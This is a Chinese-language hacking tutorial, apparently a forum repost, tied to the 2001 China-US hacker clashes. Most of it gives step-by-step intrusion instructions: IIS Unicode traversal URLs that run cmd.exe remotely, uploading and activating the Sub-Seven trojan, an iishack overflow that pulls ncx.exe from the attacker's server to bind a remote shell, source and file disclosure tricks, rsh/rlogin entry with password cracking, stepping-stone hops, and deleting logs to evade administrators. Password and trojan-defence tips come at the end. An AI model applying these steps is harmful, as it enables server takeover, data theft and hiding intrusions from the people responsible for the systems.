一、中美黑客对战中的UNICODE漏洞利用:
2001年4月开始,中美黑客又一次在网络上展开了没有硝烟的战斗,这次黑客攻击主要是依靠UNICODE漏洞,利用这个漏洞黑客可以远程调用服务器的cmd命令解释器,对服务器磁盘进行各种操作,配合上传的木马等程序,这个漏洞载当时给互禁止宣传(广告自动过滤)网带来的威胁是巨大的。
1、UNICODE原理:
此漏洞从中文IIS4.0+SP6开始出现,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。UNICODE是一种编码格式,它可以用两组代码编制一个字符,例如下面在中文Windows2000中的编码规则就是黑客需要利用到的:
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
黑客利用“%c1%1c”和“%c0%2f”两个不完整的编码,通过系统转换可以得到正、反斜杠,这样就可以访问远程服务器上的为开放的目录内容了。例如对于http://www.acc.com/来说,它的webroot目录如果是c:\webroot\,那么当黑客使用http://www.acc.com/scripts/..%c1%1c../winnt/system32/cmd.exe实际上被编码之后是:http://www.acc.com/scripts/../../winnt/system32/cmd.exe,也就是说黑客直接通过浏览器就调用了服务器上的cmd命令解释器,获得了远程执行命令的权限。
2、检测方法:
如果怀疑某个网站存在这个程序,可以通过下面的方法进行检测:
http://www.acc.com/scripts/..%c0 ... em32/cmd.exe?/c+dir
如果系统的确存在漏洞的话,那么浏览器返回的内容将会是对方系统的硬盘目录内容,注意因为UNICODE在不同的系统中有不同的编码,所以不能依靠一组代码确定服务器上不存在这个漏洞。这个时候扫描器就派上了大用场,使用xscanner可以专门对多个UNICODE进行检测,它的使用参数是“-iis”。
3、分析漏洞:
获得了控制台命令的执行权限,就意味着黑客可以执行dir、copy、echo、net等多个命令,也就是说黑客可以浏览、删除服务器硬盘上的文件,还可以使用net命令打开服务器的某个目录的共享状态,然后上传木马并继续使用控制台命令调用木马。
例如http://www.acc.com/scripts/..%c0 ... 2/cmd.exe?/c+dir+c:\game可以使用dir命令列出服务器的c:\game目录中(如果有的话)的文件列表,将“/c+dir+”更改成“/c+del+”既可以删除后面指定的文件了。
4、完整利用:
现在假设学习者手中拥有sub-seven木马和一台已经确认具有UNICODE漏洞的服务器,之后所要做的事情就是单纯的利用浏览器和木马程序就可以完全控制服务器了。
首先利用扫描器找到一台具有IISCODE漏洞的服务器(例如http://www.bnc.org/),然后通过浏览器完成下面的工作:
http://www.bnc.org/scripts/..%c1 ... 2/cmd.exe?/c+dir+c:\
这样可以通过漏洞看到硬盘上的文件列表,地址行中的“..%c1%1c..”在不同的系统中可能不同,它的意思是经过UNICODE编码转变成符号“../..”,如果看到了文件列表说明漏洞的确存在,之后将cmd.exe文件复制到scripts目录下:
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\webroot\scripts\abc.exe
这样就将cmd.exe程序保存到scripts/目录下,并且将它的文件名更改为abc.exe,如果不更改名称,系统将不会在其他目录中运行cmd.exe。这之后可以用/scripts/abc.exe?/c+dir+c:\game等形式直接调用cmd.exe命令。
使用cmd.exe配合net命令可以在对方的系统上开辟一个共享目录,这个目录可以设置为整个驱动器,有关net use的介绍已经在第二章中提到,在这里不再过多做解释。开辟了共享目录后,既可以通过“网上邻居”直接连接到对方的系统上\\www.bnc.org\,之后上传木马程序sub-seven的服务端到scripts下。
最后调用并激活木马程序/scripts/sub-seven.exe,这样所有入侵工作全部完成了。之后在本地电脑上运行sub-seven的客户端程序,并在IP地址内输入对方的IP,控制对方系统。进入系统之后,要注意删除c:\winnt\log下的日志文件,这样系统管理员就不会发现此次入侵活动了。
二、更多的漏洞:
上面介绍的是通过UNICODE漏洞进行入侵的过程,在微软的IIS中还有更多的漏洞可以利用:
1、Null.htw
IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码,global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个“hit-highlighting”功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:CiWebhitsfile、CiRestriction、CiHiliteType,可通过下列方法传递变量来获得任意asp文件的源代码:
http://www.sample.com/null.htw?C ... p;CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。
2、MDAC执行本地命令漏洞:
这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。黑客通过以下办法测试本机是否存在这个漏洞:
c:\>nc -nw -w 2 <目标机> 80
GET /msadc/msadcs.dll HTTP
如果得到信息“application/x_varg”就很有可能存在此漏洞且没有打上补丁,可以使用rain forest puppy网站的两个程序进行测(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl。
3、idc、ida 漏洞:
这个漏洞实际上类似于早期的ASP dot漏洞,其能在IIS4.0上显示WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端,检测漏洞方法是:http://www.sample.com/anything.idc 或者 http://www.sample.com/anything.idq
4、IIS HACK
有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器。先在自己的WEB服务器上运行WEB服务程序并把ncx.exe放到相应的目录下,然后使用iishack.exe来检查目标机器:c:\>iishack.exe <目标机> 80 <自己的WEB服务器>/ncx.exe
然后使用netcat来连接要检测的服务器:c:\>nc <目标机> 80,如果溢出点正确,就可以看到目标机器的命令行提示,并且是远程管理权限。
5、Codebrws.asp和Showcode.asp:
这是两个IIS4.0附带的阅读文件程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为禁止宣传(广告自动过滤)系的情况下安装的。但是这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
(1)Codebrws.asp 和 Showcode.asp默认情况下不安装;
(2)漏洞仅允许查看文件内容;
(3)这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制;
(4)只允许同一分区下的文件可以被查看;
(5)攻击者需要知道请求的文件名。
例如你发现存在这个文件并符合上面的要求,则可以请求如下的命令察看asp源代码:
http://www.sample.com/iisamples/ ... tworks/codebrws.asp
http://www.sample.com/msadc/samp ... ../../winnt/win.ini
三、如何防范IIS漏洞:
由于微软的IIS是一套商业软件,他们并没有公开这套软件的源代码,所以软件的补丁程序只能等待微软公司在它的产品升级主页下载,这比起Apache等开放源代码的应用程序,可能在安全性上体现的更差,这也正是为什么黑客都说“微软的东西玩儿起来没有意思”,因为这个被封闭的很严的软件产品,既没有源代码可供黑客分析,一旦出现了问题也只能做一些基本的操作进行黑客(也就是上面的内容),这对初学黑客的人来说自然是一件好事情,但对高级黑客是不屑一顾的。
微软公司的主页是http://www.microsoft.com/,但是没有很多人愿意从国外下载软件补丁回来,国内也有很多不错的网络安全主页,例如http://www.xfocus.org和http://www.nsfocus.com/main.php等都是非常不错的,读者可以到这些站点阅读最新的安全公告或下载升级补丁。
另外对于codebrws.asp等程序造成的安全问题,这不是产品本身存在漏洞,而属于管理员在安装软件是的疏忽造成的,因此管理员安装完系统之后,一定要使用漏洞扫描软件对自己的系统进行检测,确认没有提供任何存在问题的程序给使用者,对于codebrws.asp等软件如果必须安装,也可以更换文件名或改变它的目录位置,这样黑客就无法从漏洞扫描的途径发现这些文件的存在了。
四、另一次入侵过程:
假设这次攻击的目标是www.soft.com,首先使用ping命令察看一下对方系统的应答时间ping www.soft.com:
Pinging www.soft.com [127.168.0.1] with 32 bytes of data:
Reply from 127.168.0.1: bytes=32 time=425ms TTL=240
Reply from 127.168.0.1: bytes=32 time=420ms TTL=240
Reply from 127.168.0.1: bytes=32 time=419ms TTL=240
Reply from 127.168.0.1: bytes=32 time=421ms TTL=240
看上去,time还是比较快的,而且通过TTL猜测到对方使用的是Linux之类的系统,比较有挑战性。使用nc命令(NT中提供)登陆到其他主机上,这在黑客里的行话叫“跳板”,我到更觉得像是“借刀杀人”,因为登陆到其他服务器上进行攻击,那么收到攻击的服务器将会纪录下那个黑客登陆的服务器,而不会纪录黑客真正的IP地址,这样一旦追踪起来,黑客的真实位置不容易被发现。
之后使用端口扫描程序对目标127.168.0.1进行扫描,看看它开放了什么端口:结果是开放了十多个端口,提供的服务越多、服务器存在漏洞的可能性就越大!之后分别用不同的检测方法检测每一个服务可能存在的漏洞,因为我们主要介绍80端口的攻击,所以其他攻击过程在这里设略,直接进行80端口的检测:
# (echo "head /http/1.0";echo;echo)|./nc -w 3 127.168.0.1 80
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
head to /http/1.0 not supported.<P>
Invalid method in request head /http/1.0<P>
<HR>
<ADDRESS>Apache/1.3.9 Server at 127-168-0-1 Port 80</ADDRESS>
</BODY></HTML>
看到<ADDRESS>内的系统版本了吗?这说明服务器的确使用的Linux等系统,而且服务器使用的是Apache版本,因为这是一套开放了源代码的软件,所以它被世界上所有顶尖黑客所关注,其中的漏洞很快会被发现,而相应的对策也能够及时出台,所以它从诞生到现在,更新速度是惊人的,其安全程度也是非常惊人的,存在漏洞的希望并不大,作为初学者一般应该放弃,但是我还是介绍一下剩下来的工作,让读者从感性上接触一下黑客攻击的全部过程。
使用finger调出服务器上的用户列表,如果成功的话则可以使用+ username命令为自己增加一个用户登陆权限。使用下面的脚本将可能的用户列表逐个寻找出来:
# chmod 700 rsh.sh
# nohup ./rsh.sh www.targe.com
这会自动的在/etc/passwd和/etc/shadow里加上finger出来的用户名,再对远程目标127.168.0.1执行rsh命令,成功则返回该用户名,这个操作需要很长的时间,也许是几个小时后也不能获得什么有用的信息,因此这里需要一点点运气。等待一段时间后,读取报告结果:
# cat ./.rsh.txt
guest
报告结果文件“.rsh.txt”中获得了一个guest用户名(初学者很难有如此好的运气),通过rlogin登陆这个用户名看看有什么权限:
# rlogin -l guest 127.168.0.1
Last login: Fri Jan 12 03:01:10 from 61.135.50.24
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
The Regents of the University of California. All rights reserved.
FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 2001
You have mail.
到这里,我就已经登陆进入这台服务器了,现在我的权限可能还很小,不过已经能够称的上“入侵”了,后面的内容对初学者来说就真是没有介绍的必要了,因为后面牵扯的大多数命令都是初学者闻所未闻的,因此只做一个大概介绍。如果这个guest具有对/etc/passwd的访问权限,可以将passwd文件读取出来,这是Linux系统下纪录用户名和密码的文件,它的基本格式如下:
root:*:0:0:Charlie &:/root:/usr/local/bin/bash
guest:*:1005:2000::/home/www:/usr/local/bin/tcsh
max:*:1006:1006::/home/max:/usr/local/bin/tcsh
someone:*:1003:1003::/home/someone:/usr/local/bin/tcsh
看到这个文件的话,就可以想办法获得shadow文件并利用JOHN等软件破解其中的DES加密密码,那是一个非常有意思的工作,主要是看自己的电脑速度和字典档案的优劣,很多黑客都是非常喜欢在自己的电脑上破解DES密码档案的,可以再一次使用破解出来的用户名登陆服务器,看看它的权限,直到找到最高的权限(完全控制服务器)。
最后在离开服务器的时候,要清除日志文件,当然因为我们这次进攻是通过跳板的,所以不清楚日志管理员也很难找到我,再说我也没有进行让破坏,所以管理员并不会注意到这次进攻,在他看来只不过使用户guest登陆到服务器上随便看看又下去了。
五、保护密码:
对于我们这些拨号上网的用户来说,最怕的就是有居心叵测的黑客对我们进行攻击了,如何能避免个人的利益遭到损坏呢?这里总结了一些我对密码保护的看法和防范密码泄漏的对策,希望对广大读者有一定的作用。
1、经常修改密码
密码是我们最重要的个人隐私,如果黑客知道了我们的上网密码或者Email密码,那我们将无任何隐私可言,所以一定要选择一个比较好的密码,同时还要经常更换。一般来说,大多数人喜欢选择一些比较容易记忆的英文单词,这是非常不安全的,黑客不用什么高深的手法,只要用软件进行猜测,用不了半个小时,五位的英文单词就会被他们猜出来,所以一定要选择一个毫无意义的字符排列作为密码。这里有几条规则:
(1)好的密码应该很长,至少七位或者八位;
(2)有必要经常更换密码,每月改变一次自己的密码将是非常明智的选择;
(3)密码不要单独依靠字符、数字,应该尽量混合所有的符号;
(4)英文字母不要使用单词,应该使用没有任何规律的随机排列;
(5)不要使用例如生日、电话号码等数字作为密码;
(6)英文字母应该大小写都出现;
(7)给出一个比较好的密码形式:x3Fj%tyU
2、使用“拨号后出现终端窗口”功能
这种方法的好处是不会将密码文件保存到电脑中,如果让电脑自动完成拨号功能,那么系统将会把您的密码保存到一个扩展名为pwl 的文件中,这样一来,有经验的人很快就可以通过特殊方法获得您的pwl 文件并找到其中的密码。具体使用“拨号后出现终端窗口”的方法如下:
选中某一连接图标,单击鼠标右键,选“属性- 常规- 配置- 选项- 拨号后出现终端窗口”,然后拨号时,在拨号界面上不要填入用户名和密码(更不要选中“保存密码”项),在出现拨号终端窗口后再进行相应的输入,这可以避免用户名和密码被记录到硬盘上的密码文件中,同时,也可以避免被某些黑客程序捕获用户名和密码。
3、对付特洛伊木马
特洛伊木马程序常被定义为当执行一个任务时却实际上执行着另一个任务的程序,典型的一个例子是:伪造一个登录界面,当用户在这个界面上输入用户名和密码时,程序将它们转禁止宣传(广告自动过滤)到一个隐蔽的文件中,然后提示错误要求用户再输入一遍,程序这时再调用真正的登录界面让用户登录,于是在用户几乎毫无察觉的情况下就得到了记录有用户名和密码的文件。现在互禁止宣传(广告自动过滤)网上有许多所谓的特洛伊木马程序,像著名的BO、Backdoor、Netbus及国内的Netspy等等。严格地说,它们属于客户机/服务器(C /S )程序,因为它们往往带有一个用于驻留在用户机器上的服务器程序,以及一个用于访问用户机器的客户端程序,就好像NT的Server和Workstation 的关系一样。
在对付特洛伊木马程序方面,有以下几种办法:
(1)多读readme.txt
许多人出于研究目的下载了一些特洛伊木马程序的软件包,在没有弄清软件包中几个程序的具体功能前,就匆匆地执行其中的程序,这样往往就错误地执行了服务器端程序而使用户的计算机成为了特洛伊木马的牺牲品。软件包中经常附带的readme.txt文件会有程序的详细功能介绍和使用说明,尽管它一般是英文的,但还是有必要先阅读一下,如果实在读不懂,那最好不要执行任何程序,丢弃软件包当然是最保险的了。有必要养成在使用任何程序前先读readme.txt的好习惯。
值得一提的是,有许多程序说明做成可执行的readme.exe形式,readme.exe往往捆绑有病毒或特洛伊木马程序,或者干脆就是由病毒程序、特洛伊木马的服务器端程序改名而得到的,目的就是让用户误以为是程序说明文件去执行它,可谓用心险恶。所以从互禁止宣传(广告自动过滤)网上得来的readme.exe最好不要执行它。
(2)使用杀毒软件
现在国内的杀毒软件都推出了清除某些特洛伊木马的功能,如KV300 、KILL98、瑞星等等,可以不定期地在脱机的情况下进行检查和清除。
另外,有的杀毒软件还提供网络实时监控功能,这一功能可以在黑客从远端执行用户机器上的文件时,提供报警或让执行失败,使黑客向用户机器上载可执行文件后无法正确执行,从而避免了进一步的损失。
(3)立即挂断
尽管造成上网速度突然变慢的原因有很多,但有理由怀疑这是由特洛伊木马造成的,当入侵者使用特洛伊的客户端程序访问你的机器时,会与你的正常访问抢占宽带,特别是当入侵者从远端下载用户硬盘上的文件时,正常访问会变得奇慢无比。这时,你可以双击任务栏右下角的连接图标,仔细观察一下“已发送字节”项,如果发送字节变化在1 ~3kbps (每秒1 ~3 千字节),几乎可以确认有人在下载你的硬盘文件,除非你正在使用ftp功能。对TCP/IP端口熟悉的用户,可以在“MS-DOS 方式”下键入“netstat -a”来观察与你机器相连的当前所有通信进程,当有具体的IP正使用不常见的端口(一般大于1024)与你通信时,这一端口很可能就是特洛伊木马的通信端口。当发现上述可疑迹象后,你所能做的就是:立即挂断,然后对硬盘有无特洛伊木马进行认真的检查。
该贴由system转至本版2014-9-6 8:19:27